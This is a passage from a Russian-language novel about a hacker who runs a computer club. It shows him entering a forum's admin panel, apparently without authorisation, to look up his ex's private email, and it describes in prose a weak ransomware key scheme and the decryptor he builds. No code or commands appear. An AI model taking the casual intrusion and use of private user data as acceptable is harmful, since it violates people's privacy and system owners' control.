для  виду, а  потом выдала, что у  нее эти качки тоже недавно были. Хотят
в  нашем помещении секонд‑хенд открыть, «Вещи рядом» называется.
И  склад барахла с  Апрашки, которым они торгуют. Вроде как  денег пред‐
ложили побольше, чем мы платим. Чую, выгонят нас с  насиженного места,
Кирюх.

«Интересно, почему с  этими новостями Серёга побежал прямо ко  мне,
а не к своему бизнес‑партнеру?» — подумал Кирилл, а вслух сказал:

— Ну а Влад что говорит?
Сергей скривился так, будто надкусил кислое яблоко:
— А  что он скажет? Я ему звоню, объясняю ситуевину, а  он: «Да ладно,

Серёг, не  парься, другое место найдем». Понял? Ему по  фигу. Не  хочет он
свои нервы тратить, у него постоянная работа есть, где зарплату платят. А я
там своими руками сеть тянул, стены красил, хлам пополам с крысиным дерь‐
мом на помойку носил. Я в клубе каждый день с утра до ночи сидел, с этими
придурками у компов, с мамашами их припадочными, которые приходят скан‐
далить, что сын у нас просадил всю стипуху. Я живу этим клубом, Кирюх. А эти
мордовороты заходят, глазами сверлят, будто они тут уже все давно купили.

Кирилл молча кивнул. Серёга, конечно, прав: клуб для  парня стал чем‑то
вроде второго дома, где тот буквально жил и пахал без выходных — по край‐
ней мере, до  его прихода. Влад же, похоже, относился к  «Синему экрану»
как к развлечению: работает — хорошо, закроется — невелика потеря. Ком‐
пы, в конце концов, и продать можно. Да и для самого Кирилла «Экран» с каж‐
дым днем становился все более родным, потому потерять клуб было  бы
обидно до  слез. С  другой стороны, подвал с  парой десятков старых сис‐
темников и  школота у  мониторов  — стоит ли ради этого вписываться в  наз‐
ревающую разборку? Да  и что они смогут сделать с  потенциальными арен‐
даторами? Перебить цену вряд ли получится, заведение и  так едва сводит
концы с концами.

— Чай будешь? — предложил Кирилл, жестом приглашая гостя на кухню.
— Я бы чего покрепче хряпнул, — признался Серёга, — а пожрать случай‐

но нету?
— Сейчас яичницу с колбасой сварганим, — пообещал Кирилл.
Пока Кирилл возился на кухне, Серёга расселся на табурете, прислонив‐

шись к стене и закинув руки за голову.

— Знаешь, — сказал он после паузы, — я все думаю: а если эти отморозки
реально с  Тамарой договорятся? Ну, выкинут нас. И  чё? Я, значит, как  лох,
вкалывал, а они придут, всё сметут и «Вещи рядом» откроют.

— У тебя ж руки есть, башка тоже, — отозвался Кирилл, помешивая яич‐
ницу. — Ну, не этот клуб, так другой замутишь.

— Не  в клубе дело,  — Серёга резко выпрямил спину.  — Понимаешь,
Кирюх, тут же не просто место. Тут движуха, свои люди. Я как‑то к этому при‐
кипел. Ну, придешь ты завтра  — а  там секонд‑хенд. Прикинь: вместо наших
матерящихся школяров и сигаретного дыма — тетки с мешками тряпья и эти…

Кирилл представил себе нарисованную Серёгой картину и  помрачнел.
Вместо ответа он поставил сковородку на стол, достал две вилки — тарелки
мыть было лень  — и  плеснул кипятку из  чайника в  фарфоровые кружки, где
уже дожидались своего часа чайные пакетики.

Серёга прожевал кусок колбасы, вытер рот ладонью и зло усмехнулся:
— Знаешь, что самое паршивое? Эти морды ведь не  просто помещение

у нас отжимают. Они щупают, кто с ними бодаться рискнет, а кто хвост подож‐
мет. И  если мы сольемся  — всё, дальше нас по  району будут, как  стадо,
гонять. Откроемся где‑нибудь еще, нас и оттуда выпнут через пару месяцев,
чего с нами церемониться?

Кирилл задумался. В словах Серёги что‑то было. Он не хотел думать о том,
что «Синий экран» исчезает и в том самом подвале, где они сидели вечерами
и гоняли по сети монстров, воцарится характерный запах дезинфицирующей
химии и дешевого китайского тряпья.

— Ладно, — сказал он наконец, — что‑нибудь придумаем. Но в открытую
лучше не лезть, не те у нас с тобой ресурсы.

Серёга оживился, кивнул:
— Вот! Я тоже думаю, что Тамара, может, и рада сдать подвал за большие

деньги, но видно же, что ей стремно. Надо с ней поговорить. Только аккурат‐
но.

Кирилл отпил чаю, покосился в окно, где в желтом свете фонаря медленно
падал снег.

— Аккуратно — это по‑нашему. Поговорим.
Кирилл чувствовал, что разговор с  Серёгой затянется надолго, если

не  поставить точку. Он видел: у  того кипит, клокочет  — и  душу  бы излить,
и планы построить, чтобы грудью на баррикады. Но Кириллу хотелось другого:
тишины, экрана перед глазами и теплого света лампы над клавиатурой.

— Слышь, Серёг,  — сказал он, когда они доели.  — Давай завтра
еще обсудим. Сейчас мозги отупели, я после работы выжат совершенно.

— Да, я тоже убитый, — вздохнул тот, с сожалением глянув на пустую ско‐
вородку. — Ладно, пойду. А ты подумай, чего делать будем.

Кирилл проводил его до двери, щелкнул замком и еще пару секунд стоял,
прислушиваясь к  затихающим шагам в  подъезде. Потом облегченно выдох‐
нул.

Дедик справился со  своей работой ближе к  утру. Спать уже не  хотелось:
залогинившись в  админку, Кирилл отправился прямиком в  раздел «Поль‐
зователи» и с замиранием сердца ввел в поле для поиска короткую строчку.
Спустя мгновение он нашел то, что искал: юзер под  номером  2082, ник  —
WWWедьма, имя  — AllA… А  вот и  адрес электронной почты. Запустив поч‐
товик, Кирилл набросал короткое письмо и, чуть помедлив, отправил.

Еще раз перечитав отправленное послание и  обнаружив парочку
допущенных в  спешке опечаток, он ощутил знакомое послевкусие  — смесь
азарта и  легкой неловкости, будто сунул записку однокласснице в  карман
и  теперь ждешь, заметит ли она. Но  ждать без  дела  — слишком скучное
занятие. Кирилл потянулся, щелкнул пальцами и снова углубился в интерфейс
админки.

Изнанка форума выглядела так, словно ее писал скучающий студент‑прог‐
раммист, пожелавший собрать воедино все лучшее, что он когда‑либо видел
в других похожих проектах. «Отчеты», «Настройки», «Плагины» — каждый раз‐
дел содержал в  себе еще  несколько пунктов. Добравшись до  «Инструмен‐
тов», Кирилл наткнулся на редактор кода, что позволял открыть все составля‐
ющие форум скрипты и  даже конфиги. Сюда можно было запросто залить
веб‑шелл, но вместо этого Кирилл выбрал в меню  и занялся

тем, что сделал бы на его месте далеко не всякий хакер. Какой толк ломать
дверь, если она и  так держится на  одной ржавой петле? Захочет кто‑то
еще — зайдет. А это значит, что уютный форум может внезапно превратиться
в  проходной двор. Он отыскал тот самый участок кода, где обработчик URL
выглядел как издевательский анекдот.

functions.php

— Господи, да  это же учебник «Как нас ломать для  чайников» в  одной
строчке, — покачал головой Кирилл. — Не код, а предсмертная записка.

Он ненадолго задумался и  быстро поправил скрипт, пофиксив место,
допускавшее SQL-инъекцию. Сохранил, проверил. Функции скрипта оста‐
вались теми же, но   дырка захлопнулась, будто в подъезде поставили новый
домофон и впервые за год сменили код. Система будто вздохнула облегчен‐
но.

— Ну вот, теперь хотя бы не так стыдно.
Кирилл удовлетворенно откинулся на спинку кресла.
Он еще немного полистал скрипты, заметил парочку мелких нелепостей —

вроде формы обратной связи, не проверявшей вводимые юзером адреса, —
и тоже поправил.

За окном начало светать, утро неохотно заползало в комнату, и Кирилл уже
собрался отправиться на  боковую, когда в  динамиках тихо блямкнуло  —
в почтовый ящик упало письмо. Затаив дыхание, он развернул сообщение.

«Как ты меня нашел?»
Подписи не  было, но  она и  не требовалась: он знал, что это  написала

Алла. © X
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Иногда кажется, что интернет  — это  огромный аквариум,
в  котором плавают миллионы разноцветных рыб. Ты смот‐
ришь на  них сквозь стекло монитора: вот одна сверкает
нарядной чешуей, другая машет ярким хвостом аватарки,
третья лениво пускает пузырьки пустых слов. Но  стоит при‐
жать ладонь к стеклу, и ты понимаешь: оно холодное и неп‐
роницаемое. Тянуть руку внутрь бессмысленно — рыбам все
равно, кто любуется на них по ту сторону экрана.

Сейчас Кирилл ощущал себя рыбой, беспомощно всплывшей брюхом
кверху, — вроде еще живой, но совершенно неспособной даже пошевелить
плавниками, остается только смотреть, как  вокруг лениво колышутся
водоросли. Он написал ответное сообщение, стер, набрал новое, а  потом
стер и это. В голове царила звенящая пустота: как объяснить, что он не ищет
оправданий, не  хочет изменить прошлое, а  всего лишь пытается заполнить
холодный вакуум внутри, вырваться из той вязкой тины, в которой барахтается
уже много месяцев?

Вымученное короткое письмо отправилось адресату. Ответ не  заставил
себя долго ждать, словно прямо перед носом захлопнулись двери уходящей
в ночь последней электрички:

«Зачем ты написал? Мы уже обо  всем поговорили и  всё решили. Ничего
не изменилось, и возвращаться к этому я не хочу».

Кирилл потер ладонями воспаленные глаза: проведенная за  клавиатурой
ночь уже давала о  себе знать, но  нахлынувшие эмоции прогнали сон. Оста‐
лась только опустошенность и упрямое желание не упускать выпавший шанс,
будто он ухватился за край рвущейся веревки и уже ощущал, что она выскаль‐
зывает из рук, но все равно цеплялся за нее до последнего. Слова давались
с трудом, строчки собирались в окне почтовой программы медленно.

«Я знаю, что мы всё решили. И  я не  жду возвращения прошлого. У  нас
остался один незакрытый вопрос, который не дает мне покоя. Я не хочу уго‐
варивать тебя, но мне важно знать, что с тобой всё в порядке и ты счастлива.
Поверь, для меня это очень важно».

На этот раз ответа пришлось ждать долго.
«У нас не  осталось незакрытых вопросов. То, что тебя беспокоит, ока‐

залось проблемами со здоровьем, и это в прошлом. Сейчас все в порядке. Я
счастлива. Пожалуйста, не пиши мне больше».

Кирилл долго сидел, уставившись в  монитор, пока буквы в  последнем
сообщении не  начали расплываться. В  голове было пусто и  тихо, словно
кто‑то выключил звук. Спорить не имело смысла — впервые за долгое время
не осталось ни надежды, ни злости, ни сил что‑то доказывать. Он потянулся
к кружке, но она оказалась пуста. Сон все равно не придет, а значит, нужно
сварить еще кофе и ждать, пока усталость не одолеет его прямо за клавиату‐
рой.

Киря не считал себя экспертом по реверс‑инжинирингу, но базовыми навыка‐
ми работы в IDA все‑таки владел. Со стороны это наверняка выглядело почти
как волшебство: безликое месиво символов — бинарное тело трояна — мед‐
ленно, шаг за шагом, превращалось во что‑то знакомое глазу. IDA помогала
провернуть этот фарш назад, сделать из  исполняемого файла набор понят‐
ных инструкций, увидеть структуру, превращавшую хаотичный набор сим‐
волов в  «кварталы» программы, меж  которыми пролегали «улицы» вызовов,
зависимостей и переходов.

Выловленный на компьютере Бориса Семеновича шифровальщик оказал‐
ся с  сюрпризом: исполняемый файл был накрыт упаковщиком, причем
не обычным UPX, а каким‑то самодельным, расковырять который получилось
далеко не  с первого раза. Кирилл действовал словно ученый, пытающийся
понять логику чужого разума. Каждое открытое окно дизассемблера давало
новый намек, новый ход в хитрой игре между человеком и программой.

Троян был написан на Delphi. Его авторы даже не пытались усложнить код,
чем порой грешили некоторые их коллеги, превращавшие внутреннюю логику
вредоносной программы в паутину перекрестных вызовов, распутать которую
получалось далеко не  всегда. Перед  началом работы энкодер сканировал
диски зараженного компьютера, составлял список шифруемых файлов
и  только потом приступал к  своей зловещей деятельности. Генерировал
пароль, который сохранял в системный реестр на случай, если жертва спох‐
ватится и  перезагрузит или  выключит машину,  — чтобы при  следующем ее
запуске начать процесс заново. Как  только дело было сделано, пароль уда‐
лялся, а  заодно с  ним удалялись и  резервные копии файлов вместе с  сис‐
темными точками восстановления. Теперь вернуть утраченное становилось
невозможно, не заплатив злодеям выкуп. По крайней мере, так все выглядело
на первый взгляд. И это было бы правдой, если бы не одно но.

Хорошенько изучив отвечавший за  параметры шифрования фрагмент
кода, Кирилл откинулся в  кресле и  прищурился. Пароль формировался
на основе серийного номера жесткого диска и текущей даты, преобразован‐
ной в Unix timestamp — количество секунд, прошедших с 1 января 1970 года.
А  значит, его можно подобрать. Нужно только правильно выбрать условия
перебора.

Он потянулся к телефону и набрал записанный в памяти номер.
— Доброе утро, Борис Семенович,  — произнес он, когда на  том конце

сняли трубку. — Не разбудил?
— Что ты, Кирилл, я птичка ранняя, — хохотнул в ответ Криптодед. — Неуж‐

то придумал, как решить мою проблему?
— Почти. Я разобрался, каким способом троян шифрует файлы, и теперь

нужно разработать алгоритм подбора ключа. Давайте я вам перекину всё, что
накопал, а вы сообразите, как эту задачу решить. Она вроде бы по вашей час‐
ти.

— А давай, — согласился Борис Семенович, — у меня на пенсии времени
много, так что займусь, поломаю голову. Всяко лучше, чем кроссворды раз‐
гадывать.

Кирилл с  улыбкой положил телефон на  стол. Теперь алгоритм подбора
ключа  — не  его забота. Борис Семенович разберется, и  можно не  сом‐
неваться, что решение будет найдено. Он глубоко вдохнул и потянулся: про‐
веденная за  компьютером ночь обрушилась на  него вязкой усталостью,
но теперь можно было позволить себе расслабиться. Кирилл добрел до сво‐
его надувного матраса и рухнул на него, не раздеваясь. В сознании промель‐
кнула последняя осознанная мысль о том, что с ночными бдениями пора бы
уже завязывать, и с нею он погрузился в сон.

Кирилл открыл глаза с  ощущением, будто внутри него снова включили свет
после долгой темноты. А  возможно, причиной стали разбудившие его лучи
по‑весеннему яркого солнца, беззастенчиво заглянувшего в  окно. Мозг
еще  не успел толком проснуться, но  тело уже требовало еды и  движения.
Потянувшись к столу, Кирилл провел пальцем по трекпаду, вгляделся в про‐
явившуюся на дисплее ноутбука картинку — он продрых почти сутки. Сегодня
снова настала его очередь дежурить.

До «Синего экрана» он добрался чуть позже, чем обычно, — минут сорок
ушло на приготовление завтрака из остатков тех продуктов, что удалось отыс‐
кать в  холодильнике, и  еще примерно час  — на  решение других насущных
вопросов. Кирилл отпер входную дверь, включил свет и  компы, проверил
работу сети. Посетителей в этот час все равно еще не было, они начнут под‐
тягиваться ближе к обеду, а потому утром оставался шанс в спокойной обста‐
новке заняться своими делами. Но только не в этот раз.

Дверь со  скрипом распахнулась, впуская в  полуподвал волну холодного
уличного воздуха, и  на пороге возникла невысокая темноволосая женщина
с папкой документов под мышкой в сопровождении человека в кожаной кур‐
тке на  две головы выше нее. Памятуя рассказ Серёги, Кирилл представлял
себе потенциальных арендаторов суровыми качками бандитской внешности,
от  одного вида которых у  обывателя начинают трястись поджилки. Вопреки
ожиданиям, вошедший не  произвел на  него столь пугающего впечатления.
На  гладко выбритой шишковатой голове сильнее всего выделялись отто‐
пыренные, как локаторы, уши и торчащий орлиным клювом нос, по соседству
с  которым терялись глубоко посаженные глаза. Из‑за столь странного
сочетания конструктивных элементов физиономия визитера напоминала кры‐
синую мордочку, к  которой зачем‑то пришили уши от  Чебурашки. Куртка
на нем тоже смотрелась несуразно и болталась, как на вешалке, — ее обла‐
датель явно хотел казаться шире в плечах, чем был на самом деле.

— Доброе утро,  — произнесла дама, глядя мимо Кирилла, и  сразу же
переключила внимание на  своего спутника:  — Здесь у  нас два помещения,
тамбур и  основной зал, есть еще  уборная, правда бачок там неисправен.
Помещение теплое, но  требует косметического ремонта. Электричество
по счетчику, имеется центральное отопление…

— Здравствуйте, Тамара Эдуардовна,  — поприветствовал визитершу
Кирилл, безошибочно угадав, кого занесло к  нему на  огонек.  — Бачок
в туалете я починил. А что касается косметики, то это ж дело вкуса. Я бы ска‐
зал, что это место больше подходит тем, кто ценит атмосферу, а не идеаль‐
ный глянец.

Тамара Эдуардовна уставилась на  него так, словно увидела буквально
только что и раньше не догадывалась о его присутствии.

— Меня зовут Кирилл, я администратор, — представился Киря. — Сергей
предупреждал о вашем визите.

— Я думала, что застану здесь Владислава, — чуть поджав губы, сообщила
Тамара. — Хотелось бы кое‑что обсудить с ним с глазу на глаз.

— Владислав Игоревич неимоверно занят, он решает главный вопрос
жизни, вселенной и всего такого, — вкрадчиво пояснил Кирилл. — Пытается
спасти мир, пока космические корабли бороздят просторы Большого театра
и пылают над Орионом, а Лучи Си разрезают мрак у ворот Тангейзера. Но я
могу ему что‑нибудь передать, если хотите.

— Ладно, это  подождет,  — махнула рукой дама и  повернулась к  своему
спутнику. — Пойдемте посмотрим зал?

— А вы действительно хотите сдать этот подвал другим арендаторам? —
склонив голову набок и изобразив на лице наивное выражение, поинтересо‐
вался Кирилл.

— Ох, мальчики, пока еще ничего не решено, — стараясь побыстрее отде‐
латься от настырных расспросов, бросила в ответ Тамара, — люди вот инте‐
ресуются, помещение под магазин одежды ищут.

— Тогда это явно не лучший вариант, — заметил Кирилл.
— Почему? — впервые подал голос лопоухий носитель кожанки.
— Ну, во‑первых, крысы. Тут водомерный узел за стенкой, оттуда и бегут,

провода нам грызут регулярно. Гоняем, но без особого успеха. Попортят вам
весь товар. Пойдете зал смотреть, по  углам под  столы загляните, я там
ловушки расставил, может, за  ночь попалось чего. Во‑вторых, сюда особый
контингент захаживает, будет тут шастать по старой памяти, покупателей рас‐
пугивать. Место‑то не особо проходное.

Словно в подтверждение его слов в помещение ввалилось двое подрос‐
тков в  коряво расписанных краской банданах, заказали два компа на  час
и  скрылись за  дверью. Пару крысоловок Кирилл действительно прикупил
по  дороге в  соседнем хозмаге и  распихал под  столами. Правда, на  поимку
грызунов можно было не рассчитывать — несмотря на уверения Серёги, крыс
он тут раньше не видел. Его слова, впрочем, не произвели должного впечат‐
ления на незваного гостя: он вальяжно прошел в зал за ребятами, вниматель‐
но осмотрел стены и пол, заглянул в розетки, пощупал дверную ручку, словно
проверяя прочность замка. Тамара Эдуардовна следовала за ним неотступ‐
ной тенью, и  по тому, как  заискивающе и  угодливо она общается с  потен‐
циальным арендатором, становилось очевидно, что ради денег она готова
на  многое. Такую бесполезно убеждать, давить на  жалость или  взывать
к совести. Ее можно только купить, сделав более выгодное со всех точек зре‐
ния предложение.

Наконец посетители завершили осмотр достопримечательностей и  вер‐
нулись к стойке, за которой их терпеливо дожидался Кирилл.

— Стас, — протянул ему влажную ладонь лопоухий.
Кирилл молча срифмовал его имя весьма неприличным образом, но вслух

ответил, пожимая руку:
— Очень приятно. Что решили?
— Подумаем, посмотрим еще вариантики. Но тут в целом нормально, нам

все нравится. Вернемся к концу недели, там и будет ясно, чё как.
«Подумаем» и  «вернемся к  концу недели» означали ровно одно  — клуб

пока держится, но  время играет против них. С  другой стороны, Кирилл уже
примерно представлял себе, что предпримет дальше. Окончательный план
еще не созрел, но общий порядок действий был для него вполне ясен.

Стас и Тамара удалились, о чем‑то переговариваясь вполголоса, а мимо
них протиснулся Иван Зарубин и сразу же устремился к стойке администра‐
тора.

— Привет, Кикс! — громко поздоровался он. — Смотри, чего я на развале
купил!

Кирилл с интересом повертел в руках компакт‑диск, на футляре которого
красовалась яркая надпись: «Всё для  хакера! Софт для  взлома, утилиты,
полезности, вирусы!»

— Ванюш, тебе учителя в  школе не  говорили случайно, что по  тебе тюрьма
плачет?  — поинтересовался он.  — Так вот, у  тебя есть отличный шанс уте‐
шить ее своим личным присутствием.

— Да  ладно, Кикс!  — засмеялся Иван.  — Это  же типа для  обучения.
Пощупать, посмотреть, а не на чужих компах запускать. Интересно же!

Он гордо убрал диск за  пазуху, словно это  был драгоценный трофей
из древнего сундука с сокровищами.

— Слушай, а  я к  тебе по  делу,  — признался Зарубин, чуть понизив
голос,  — понимаешь, тут такая фигня приключилась. На  батином компе, ну,
который на работе у него стоит, какой‑то вирус завелся. Он в командировке
сейчас, потому еще не знает, но, если приедет и увидит, что у него там бан‐
нер на весь экран, мне хана. Не пустит он меня больше за компьютер. Может,
посмотришь?

— На  что?  — хмыкнул Кирилл.  — Думаешь, я порнобаннеров никогда
не видел?

— Да чё ты стебешься‑то, я тебя как человека помочь прошу! — обиделся
юный хакер.

— Небось, по  неприличным сайтам шарился, вот и  подцепил заразу,  —
предположил Киря. — Я тебе книжку умную принесу, в шкафу нашел случайно,
когда старое барахло разбирал. Она тебе точно поможет. Называется «Она‐
низм, причины и методы лечения»…

— Да  иди ты на  фиг,  — еще  сильнее надулся Иван.  — Не  шаришь
в вирусах, так и скажи!

Кирилл прикинул, что, согласись он помочь школьнику, придется тащиться
на  другой конец города в  этот «Лентрансмаш», и  сразу же прогнал эту пре‐
дательскую мысль.

— Хочешь, чтобы я батин комп почистил? Ну, неси сюда винт, я гляну.
— А как я его достану‑то? — опешил от столь неожиданного предложения

Иван.
— Каком кверху. Ты же хакер, хоть и  начинающий? Тогда сообразишь,

наверное, как корпус раскрутить и жесткий диск оттуда достать.
— Так его ж еще через охрану пронести надо…
— В трусах спрячешь, он небольшой. Хотя нет, в трусах не надо, мне ж его

потом руками трогать. В карман положи или в рюкзак. В общем, сам придума‐
ешь, не маленький.

Иван почесал затылок, явно представляя себе всю операцию — от проник‐
новения в батин кабинет до торжественного выноса диска под мышкой.

— А если меня спалят? — с сомнением спросил он.
— Тогда скажешь, что несешь диск домой, кино смотреть. Можешь объ‐

яснить, что такое кино можно только в одиночестве крутить, когда одна рука
свободна…

Иван тяжело вздохнул, но в глазах мелькнул азарт. Для него это уже перес‐
тавало быть проблемой и превращалось в интересное приключение. Кирилл,
наблюдая за ним, только покачал головой: когда‑то он и сам с тем же огонь‐
ком в глазах кидался воплощать самые дикие затеи, лишь бы проверить себя
и доказать, что мир вокруг — не стена, а дверь, которую можно открыть, если
знать правильный код от  замка. Разница была только в  том, что теперь он
стал понемногу понимать, что за этими дверями далеко не всегда ждет цен‐
ный приз.

Немного потолкавшись в  предбаннике и  перебросившись парой фраз
с  другими посетителями клуба, Зарубин убрался восвояси, когда телефон
в кармане Кирилла дрогнул короткой вибрацией. На экране высветилось имя
«Криптодед». Кирилл ответил, и из динамика раздался бодрый голос соседа:

— Ну, Кирюша, похоже, я придумал, как раскусить твою задачку. Алгоритм
есть, но объяснять долго, да и не по телефону. Появилась, правда, одна заг‐
воздочка…

— Какая, Борис Семенович?
— Я зайду вечером, расскажу все в  подробностях. Думаю, тебе будет

интересно.
Связь прервалась, оставив Кирилла со  странным чувством недосказан‐

ности. © X
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Борис Семенович остановился в прихожей и огляделся.

— Ремонт бы тебе сделать, — назидательно произнес он, — алкаш этот,
Рома, квартиру жуть как запустил. Так и помер в свинарнике.

— Что, прямо тут и помер? — поинтересовался Кирилл.
— Нет, его в тот раз после очередного запоя «белка» навестила, зеленые

человечки в  уборной завелись и  хотели беднягу для  исследований на  Марс
забрать. Видимо, изучали влияние паленой водки на организм пьющего сан‐
техника. Так он, от них спасаясь, в окно и вышел.

— Разбился?
— Да  нет же. Какое разбился, второй этаж. В  больницу увезли, перело‐

манного. Там и умер.
Судьба бывшего владельца его нынешнего жилища Кирилла занимала

мало, а  вот ремонт и  вправду был необходим, но  он все откладывал
это  мероприятие на  неопределенное будущее. Гости к  нему заглядывали
редко, а  сам он с  продранным линолеумом и  грязными обоями уже как‑то
свыкся. Да и вдоволь полюбоваться на интерьер получалось не так уж и часто:
он подолгу зависал в  «Синем экране», а  дома проводил почти все время
за экраном ноутбука, и там, в мире, где клавиши звучали громче человеческих
голосов, окружающая реальность не имела никакого значения.

Борис Семенович прошел в  комнату, с  кряхтеньем опустился на  пред‐
ложенный Кириллом стул, нацепил очки и  развернул перед  собой школьную
тетрадку в клетку, исписанную мелким бисерным почерком.

— Значится, так, — прихлопнул он ладонью тетрадный разворот, — то, что
ключик берется не из воздуха, это хорошо. Идея там простая: дата как соль,
серийный номер диска как персональная метка машины — склеил их, прогнал
через генератор и получил ключ. Вот это первая загвоздка. Если ключ зависит
от  текущей даты, то вернуть файлы, зашифрованные, скажем, три недели
назад, можно — но требуется знать, какое именно значение использовал тро‐
ян. Не просто «март», а точное время.

Кирилл заглянул соседу через плечо, пробежал по листку глазами: почерк
был мелким, но  аккуратным и  разборчивым, формулы лежали в  клеточках,
будто книжки на  полке. Очень изящный и  аккуратный алгоритм придумал
Криптодед, просто загляденье. Где он, интересно, этому научился?

— Дату и время можно взять из метаданных самого файла, — задумчиво
произнес Киря,  — а  лучше вытащить из  нескольких и  сравнить для  надеж‐
ности.

— Со вторым значением, которое серийный номер, все проще, — продол‐
жил Борис Семенович,  — разве что, если хозяин компьютера сменит вин‐
честер и перенесет зашифрованные файлы туда, весь «персональный» фак‐
тор улетит в трубу. А вот если у тебя есть хотя бы один исходный файл — хоть
сохраненная фотка, хоть шаблон письма, любой незашифрованный
документ,  — то алгоритм можно подручными методами проверить: подать
предположительную дату, серийник и  посмотреть, совпадает ли расклад. То
есть нужен мостик — небольшая подсказка извне. Без нее ты будешь тыкать‐
ся вслепую и подбор ключа займет гораздо больше времени. Это вторая заг‐
воздка.

Кирилл кивнул, внутренне поражаясь тому, с  какой легкостью сосед рас‐
суждает о  вещах, которые большинству людей показались  бы непонятной
тарабарщиной. От пожилого человека в застиранной майке и вытянутых тре‐
никах ожидаешь услышать что угодно, кроме почти научной лекции по осно‐
вам криптографии. Его так и подмывало поинтересоваться напрямую, откуда
все‑таки у  Бориса Семеновича взялись столь глубокие познания в  генера‐
торах и ключах. Не решился. Да и сам тон соседа не оставлял места расспро‐
сам: будто тот нарочно держал границу, открывая ровно столько, сколько счи‐
тал нужным.

— Давайте я тогда расшифровщик набросаю,  — предложил Кирилл,  —
сразу и проверим, как ваш алгоритм работает.

— Годится,  — кивнул сосед.  — А  я пойду на  кухню, чайник поставлю.
Печенье у тебя найдется какое‑нибудь?

— Вчерашний батон только.
— Тогда я из дома сгущенки принесу. Чего пустой чай гонять?
Пока Кирилл возился с кодом, Борис Семенович поставил на плиту чайник,

стукнул дверцей холодильника, о чем‑то поворчал, потом сбегал к себе и вер‐
нулся с половиной палки докторской колбасы, брикетиком сливочного масла
и  банкой сгущенного молока. Спустя несколько часов все было готово  —
Кирилл запустил декодер из  командной строки, передав ему на  вход тре‐
буемые параметры и  путь к  одному из  зашифрованных файлов. Программа
работала.

— Ваши файлы я к  утру расшифрую,  — пообещал Кирилл, с  аппетитом
откусив от  ломтика политого сгущенкой нарезного, которые Борис Семено‐
вич аккуратно разложил на тарелочке.

— Думаю, не  один я от  этого вируса пострадал,  — произнес сосед,  —
можно и другим людям помочь.

— В  принципе, можно…  — Кирилл прикинул в  уме, что понадобится
для реализации этой затеи, и потянулся за следующим куском. — Тогда надо
к  программе графический интерфейс приделать, чтобы было проще. Сайт
какой‑нибудь можно на  коленке соорудить. Да  и вообще, ничто не  мешает
копейку за  расшифровку брать  — меньше, чем злодеи просят, но  и чтобы
не совсем даром. Подумать надо.

— Вот и подумай.
— Только расшифровщик наш именно с этой версией трояна справиться

может. Если его авторы поумнеют и  добавят в  алгоритм настоящую случай‐
ность  — скажем, вместо простой конкатенации даты и  серийника станут
использовать источник истинного энтропийного шума,  — то весь ваш блес‐
тящий алгоритм превратится в тыкву. Ни дата, ни серийник не помогут.

— Ну да,  — Борис Семенович вздохнул,  — а  еще автору трояна может
не понравиться, что ты его бизнесу мешаешь.

Кирилл откусил еще кусок булки и на мгновение задумался: деньги за рас‐
шифровку, интерфейс, сайт на  коленке… Картинка понемногу становилась
не такой уж простой — слишком мелкая прибыль против возможных проблем.

— А  может, бесплатно декодер выложить?  — продолжил размышлять он
вслух.

— Может, и так, — хмыкнул сосед, — но на всякий случай старайся лишний
раз не  светиться в  интернете. Никаких громких рекламных объявлений,
никаких больших сумм и, главное, никаких реальных имен. Чем меньше
народу знает, кто именно этим занимается, тем дольше будет работать
метод.

Кирилл кивнул. Он ощутил, как  внутри просыпается привычный азарт  —
решить задачу, сделать рабочий продукт, довести его до ума. Деньги и потен‐
циальный риск отступили на второй план.

Серёга обитал в  вытянувшейся вдоль улицы длинной кирпичной пятиэтажке,
на  фасаде которой была выложена угловатой красной кладкой дата «1974».
Такие дома считались здесь элитными, хотя таковыми они выглядели разве
что на фоне окружающих обветшалых бараков. Лифта в подъезде не имелось,
и  Кирилл поднялся на  самый верх по  узкой и  гулкой лестнице с  тонкими
металлическими перилами.

Дверной звонок отозвался переливчатой соловьиной трелью. Дверь
открыла высокая и  худощавая женщина в  цветастом переднике, недовольно
уставилась на Кирилла, опершись рукой о косяк и загородив ему проход.

 — Мам, это ко мне, — послышался откуда‑то из коридора чуть смущенный
голос владельца «Синего экрана», которого Кирилл полчаса назад предуп‐
редил о своем визите телефонным звонком.

Женщина молча посторонилась, смерив гостя еще  одним подозритель‐
ным взглядом, — разговаривать она, видимо, сегодня была не в настроении.

— Здравствуйте, — кивнул ей Кирилл, переступая порог.
— На тряпочке вот тут разувайся, — засуетился подоспевший Серёга, —

ботинки сразу в  шкафчик убирай, у  меня собака, сгрызет. Проня, фу! Фу, я
сказал! Свои! Мам, ну забери его!

Выкатившийся из  глубины квартиры рыжим клубком кудлатый спаниель при‐
нялся с оглушительным тявканьем крутиться под ногами. Следуя инструкции,
Киря поставил обувь повыше в шкафчик и прошлепал в одних носках в ком‐
нату, вдыхая незнакомый воздух чужой квартиры. В  каждом доме есть собс‐
твенный аромат, впитавший в  себя любимые блюда здешних обитателей,
забытые разговоры, неубранные книги и  мокрые следы на  ковре. Этот
запах  — как  невидимая печать, дающая понять, будет ли тебе в  этом месте
уютно, или  все время придется бороться с  внутренним дискомфортом. Так
пахнет человеческая жизнь, и далеко не всегда она пахнет приятно. Но если
запах есть — значит, дом живой. Здесь воздух был наполнен смесью дешевых
духов, газет и влажного паркета, и эта непривычная атмосфера как минимум
не раздражала.

Серёга пропустил Кирилла в небольшую комнатку с мягким диваном, пись‐
менным столом и старым платяным шкафом у стены, выгнал попытавшегося
было юркнуть следом пса и поплотнее закрыл за спиной дверь. С той стороны
донесся обиженный заливистый лай.

— Извини, мама не  любит посторонних,  — словно оправдываясь, приз‐
нался он.

— Понимаю, — сказал Кирилл, усаживаясь без приглашения на диван, —
у меня с отчимом такая же история была. Я на самом деле по поводу клуба
пришел с тобой поговорить.

— Валяй, жги,  — сразу же перешел на  деловой тон Серёга.  — Есть
какие‑нибудь идеи?

— Скажи мне, ты знаешь, что такое ZX Spectrum? — вопросом на вопрос
откликнулся Кирилл.

Сергей на мгновение задумался.
— Был вроде такой компьютер древний,  — осторожно подбирая слова,

произнес он, — восьмибитный еще, из девяностых. У бывшего одноклассника
батя такие собирал когда‑то, он мне показывал: посмотри, мол, каким старь‐
ем предки пользовались. А что?

— Ну вот смотри. Цену, которую эти секондхендщики Тамаре предложили,
мы перебить не  сможем, нет у  нас лишних денег. Да  и на  школоте местной
много не  заработаешь. А  вот если мы соберем у  нас любителей старого
железа, которые и  постарше, и  побогаче, да  информацию об  этом мероп‐
риятии по  всему городу распространим, это  будет уже совсем другой рас‐
клад. Во‑первых, место станет известным, проходным, во‑вторых, денег при‐
